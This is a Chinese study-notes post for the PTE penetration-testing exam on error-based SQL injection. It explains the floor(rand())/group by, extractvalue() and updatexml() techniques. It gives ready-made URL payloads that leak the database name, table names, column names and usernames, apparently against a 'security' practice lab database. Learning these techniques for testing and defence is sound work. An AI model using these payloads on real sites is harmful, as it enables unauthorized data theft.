PTE笔记:SQL注入-报错注入

适用于界面不回显的场景,通过注入语句在报错信息中回显我们想要的信息

常用函数1floor+rand 配合 count+group by函数

rand()  生成0-1之间的随机数,默认完全随机,加参数后固定随机(多次执行随机生成的数是固定的)

floor()取整

group by() 分组

count()计数

concat(字符串) 拼接字符串

group_concat(字段名) 拼接函数,针对列数据拼接

示例:#制造数据库错误信息,在错误信息中显示数据库名

?id=1' union select 1,count(*),concat((select database()),floor(rand(0)*2))  as a from information_schema.tables group by a --+

#找表名

?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))  as a from information_schema.tables group by a --+

#找列名

?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))  as a from information_schema.columns group by a --+

#查找字段值

?id=-1' union select 1,count(*),concat((select username from users  limit 1,1),floor(rand(0)*2))  as a from information_schema.columns group by a --+

#常用函数2extractvalue() 报错

extractvalue(xml 对象,xpath_str)   从xml对象中返回查找到的字符串,返回长度限制在32位字符;Xpath_str 参数使用格式/xxx/xxx/xxx/,如果出现不符合上述格式的内容,就会报错;

示例:

?id=1' and extractvalue(1,concat("~",(select database()))) --+

?id=1' and extractvalue(1,concat("~",(select table_name from information_schema.tables where table_schema='security' limit 1,1))) --+

常用函数3updatexml()报错

updatexml(xml_target,xpath_expr,new_xml)

Xml_target:xml对象的名称,string

Xpath_expr:使用xpath路径格式,不符合格式就会报错;比如路径中出现~符号

New_xml:需要更新的内容

示例:

?id=1' and updatexml(1,concat('~',(select database()),'~'),1)  --+

?id=1' and updatexml(1,concat("~",(select table_name from information_schema.tables where table_schema='security' limit 1,1),"~"),1) --+

?id=1' and updatexml(1,concat("~",(select column_name from information_schema.columns where table_name='users' limit 2,1),"~"),1) --+

  • 20
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值